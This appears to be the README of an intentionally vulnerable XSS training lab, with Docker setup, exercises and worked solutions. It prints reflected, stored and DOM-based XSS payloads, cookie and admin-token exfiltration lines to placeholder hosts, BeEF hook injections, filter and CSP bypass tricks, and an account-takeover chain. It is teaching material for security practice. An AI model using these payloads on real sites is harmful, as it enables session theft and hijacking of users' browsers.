An intentionally vulnerable web application for learning Cross-Site Scripting (XSS) through hands-on practice.
Author: Cysec Don (cysecdon@gmail.com)
This application is INTENTIONALLY VULNERABLE. It is designed for educational purposes only. DO NOT deploy this application on a public-facing server or any network accessible by unauthorized users. Running this application exposes your system to XSS attacks. Use only in isolated, local environments for security training and research.
By using this software, you accept full responsibility for any damage or misuse. The author is not liable for any illegal or unauthorized activities performed using this application.
VulnLab is a minimalistic, beautifully designed web application that contains multiple intentional XSS vulnerabilities. It provides a safe, controlled environment where security enthusiasts, developers, and students can:
- Practice identifying and exploiting Reflected, Stored, and DOM-based XSS
- Learn how insecure coding practices lead to real vulnerabilities
- Test filter bypass techniques and payload engineering
- Understand privilege escalation through XSS
- Integrate with BeEF (Browser Exploitation Framework) for advanced exercises
The application is built with Node.js and Express, using vanilla HTML/CSS/JavaScript on the frontend. No frameworks, no abstractions — just raw, vulnerable code that you can see, understand, and exploit.
The easiest way to get started. Docker ensures a clean, isolated environment.
# Clone the repository
git clone https://github.com/cysec-don/XSS.git
cd XSS
# Build and run with Docker Compose
docker compose up -d
# The lab is now running at http://localhost:3001To stop the lab:
docker compose downTo view logs:
docker compose logs -fTo rebuild after making changes:
docker compose build --no-cache
docker compose up -d# Build the Docker image
docker build -t vulnlab-xss .
# Run the container
docker run -d -p 3001:3001 --name vulnlab vulnlab-xss
# The lab is now running at http://localhost:3001To stop:
docker stop vulnlab
docker rm vulnlab# Clone the repository
git clone https://github.com/cysec-don/XSS.git
cd XSS
# Install dependencies
npm install
# Start the server
npm start
# The lab is now running at http://localhost:3001XSS/
├── server.js # Express server with vulnerable routes
├── package.json # Node.js project configuration
├── public/
│ └── css/
│ └── style.css # Application stylesheet (dark theme)
├── Dockerfile # Docker build configuration
├── docker-compose.yml # Docker Compose for easy deployment
├── .dockerignore # Docker build exclusions
├── .gitignore # Git exclusions
└── README.md # This file
URL: http://localhost:3001/
The search page reflects the q query parameter directly in the HTML response without any encoding or sanitization. This is the classic Reflected XSS scenario.
How to exploit:
http://localhost:3001/?q=<script>alert(document.cookie)</script>
What's vulnerable: The query value is inserted into both the search input's value attribute and the results heading using template literals without escaping.
URL: http://localhost:3001/comments
Users can post comments with an author name and text. Both fields are stored in memory and displayed to all visitors without any HTML encoding. This is a classic Stored XSS vulnerability.
How to exploit: Post a comment with any of these payloads:
| Payload | Description |
|---|---|
<script>alert(1)</script> |
Basic script tag |
<img src=x onerror="alert(document.cookie)"> |
Image onerror handler |
<svg onload="alert(1)"> |
SVG element |
<details open ontoggle="alert(1)"> |
Details element |
What's vulnerable: The comment.author and comment.text values are concatenated directly into the HTML response without escaping.
URL: http://localhost:3001/profile/user1 or http://localhost:3001/profile/admin
The profile page contains two vulnerabilities:
a) Stored XSS via Bio Field: Users can update their bio through the edit form. The bio content is stored and rendered without encoding.
How to exploit: Update the bio field with: <script>alert(1)</script>
b) DOM-Based XSS via URL Hash:
The page contains JavaScript that reads window.location.hash and sets it as innerHTML of a div element. The hash fragment is never sent to the server, making this invisible to server-side defenses.
How to exploit:
http://localhost:3001/profile/user1#<img src=x onerror="alert(1)">
What's vulnerable:
- The
profile.biovalue is inserted into HTML without escaping - Client-side JavaScript reads
window.location.hash(source) and assigns it toinnerHTML(sink)
URL: http://localhost:3001/admin
The admin dashboard displays all user comments without encoding, and contains a hidden element with a secret admin token (ADMIN_SECRET_TOKEN_xyz789). This means Stored XSS payloads injected via the comments page will execute in the admin's browser context.
How to exploit (combined attack):
- Post a comment with:
<script>new Image().src="http://YOUR_SERVER:8080/steal?t="+document.getElementById("admin-secret").textContent</script> - When the admin visits the dashboard, the script executes and exfiltrates the secret token
What's vulnerable: Comments rendered in the admin dashboard use the same unescaped output as the comments page, plus the hidden token is accessible to any JavaScript running on the page.
URL: http://localhost:3001/api/search?q=test
The API endpoint returns JSON with the query parameter embedded. While JSON responses are typically safe, misconfigured Content-Type headers can lead to content sniffing attacks.
Objective: Craft a URL that steals the session cookie when visited by another user.
Hints:
- The search query is inserted directly into the HTML response
- You need a script tag or event handler that reads
document.cookie - Use the
Image()trick orfetch()to exfiltrate data without CORS issues
Solution:
http://localhost:3001/?q=<script>new Image().src="http://YOUR_SERVER:8080/steal?c="+document.cookie</script>
Objective: Post a comment that executes JavaScript when any user views the comments page.
Hints:
- The comment text field accepts any content without sanitization
- Script tags work, but try using an
imgtag withonerrorfor variety - The payload persists across page loads and affects every visitor
Solution: Post a comment with text: <img src=x onerror="alert(document.cookie)">
Objective: Exploit the DOM-based XSS on the profile page to execute JavaScript without any server interaction.
Hints:
- The JavaScript on the profile page reads
window.location.hashand setsinnerHTML - The hash fragment is never sent to the server, so server-side defenses cannot detect this
- You need an HTML element with an event handler, like
img onerror
Solution:
http://localhost:3001/profile/user1#<img src=x onerror="alert(document.cookie)">
Objective: As a regular user, post a comment that steals the admin secret token from the admin dashboard.
Hints:
- The admin dashboard displays comments without encoding and contains a hidden
divwith a secret token - Your payload needs to read the content of the
#admin-secretelement - Use
document.getElementById("admin-secret").textContentto read the token
Solution: Post a comment with text:
<script>new Image().src="http://YOUR_SERVER:8080/steal?t="+document.getElementById("admin-secret").textContent</script>Objective: Hook the VulnLab application using BeEF and demonstrate post-exploitation capabilities.
Prerequisites: Install and run BeEF on your machine.
Hints:
- Start BeEF and note the hook URL (default:
http://YOUR_IP:3000/hook.js) - Use Stored XSS to inject the hook script so it persists across sessions
- Once the browser is hooked, use BeEF modules to gather information
Solution: Post a comment with:
<script src="http://YOUR_IP:3000/hook.js"></script>Or using an event handler (bypasses simple script tag filters):
<img src=x onerror="var s=document.createElement('script');s.src='http://YOUR_IP:3000/hook.js';document.body.appendChild(s)">Ready for a real challenge? These scenarios add defensive measures that you must bypass:
Modify the search page to add a simple server-side filter that blocks the word "script" (case-insensitive). Your task is to bypass this filter and achieve XSS.
Bypass techniques:
- Alternative tags:
<img>,<svg>,<details>,<body> - Alternative event handlers:
onerror,onload,ontoggle,onfocus - Encoding tricks: HTML entities, Unicode escapes
Add the following CSP header to the application:
Content-Security-Policy: script-src 'self' https://trusted-cdn.com
Your task is to bypass this CSP and achieve XSS. Hint: Look for JSONP endpoints on the trusted CDN domain, or try injecting a <base> tag to redirect relative script sources.
Modify the comment handler to strip <script> tags but leave other HTML elements untouched. Your task is to achieve XSS without using script tags.
Bypass techniques:
<img src=x onerror="alert(1)"><svg onload="alert(1)"><details open ontoggle="alert(1)"><marquee onstart="alert(1)">
Start with a Reflected XSS on the search page and achieve full account takeover:
- Use the reflected XSS to inject a payload that creates a Stored XSS in the comments
- The stored payload waits for the admin to view the dashboard
- When the admin views the dashboard, the payload steals the admin token
- Use the admin token to access the admin API and create a new admin account
VulnLab is designed to work seamlessly with BeEF (Browser Exploitation Framework). To run BeEF alongside VulnLab:
Uncomment the beef service in docker-compose.yml, then:
docker compose up -d# Install BeEF
git clone https://github.com/beefproject/beef.git
cd beef
bundle install
./beef
# BeEF control panel: http://localhost:3000/ui/panel
# Default credentials: beef / beef| Page | Payload |
|---|---|
| Search (Reflected) | http://localhost:3001/?q=<script src="http://ATTACKER_IP:3000/hook.js"></script> |
| Comments (Stored) | <img src=x onerror="var s=document.createElement('script');s.src='http://ATTACKER_IP:3000/hook.js';document.body.appendChild(s)"> |
| Profile (DOM) | http://localhost:3001/profile/user1#<img src=x onerror="var s=document.createElement('script');s.src='http://ATTACKER_IP:3000/hook.js';document.body.appendChild(s)"> |
- Exercise A: Hook via Reflected XSS — Craft a URL that loads the BeEF hook
- Exercise B: Hook via Stored XSS — Post a comment that hooks every visitor
- Exercise C: Social Engineering — Use "Pretty Theft" and "Fake Flash Update" modules
- Exercise D: Network Reconnaissance — Use BeEF's port scanning and ping sweep modules
| Service | Port |
|---|---|
| VulnLab | 3001 |
| BeEF (optional) | 3000 |
VulnLab uses in-memory data storage. All data (comments, profiles) resets when the server restarts. This is intentional — it keeps the lab clean and prevents persistent malicious payloads from surviving between sessions.
The application does not set the following security headers, which would normally prevent or mitigate XSS attacks:
Content-Security-Policy— Would restrict script sourcesX-Content-Type-Options— Would prevent content type sniffingX-XSS-Protection— Would enable browser XSS filter (deprecated but informative)Set-CookiewithHttpOnly— Would prevent cookie access via JavaScript
If port 3001 is already in use, you can change it:
Docker:
# Change the port mapping in docker-compose.yml or use:
docker run -d -p 8080:3001 --name vulnlab vulnlab-xssNode.js:
PORT=8080 npm start# Check logs
docker compose logs vulnlab
# Rebuild from scratch
docker compose build --no-cache
docker compose up -dEnsure the public/css/ directory structure is intact and the static file middleware is configured correctly in server.js.
MIT License — See LICENSE for details.
Cysec Don Email: cysecdon@gmail.com GitHub: https://github.com/cysec-don
Remember: With great power comes great responsibility. Use your skills ethically and legally.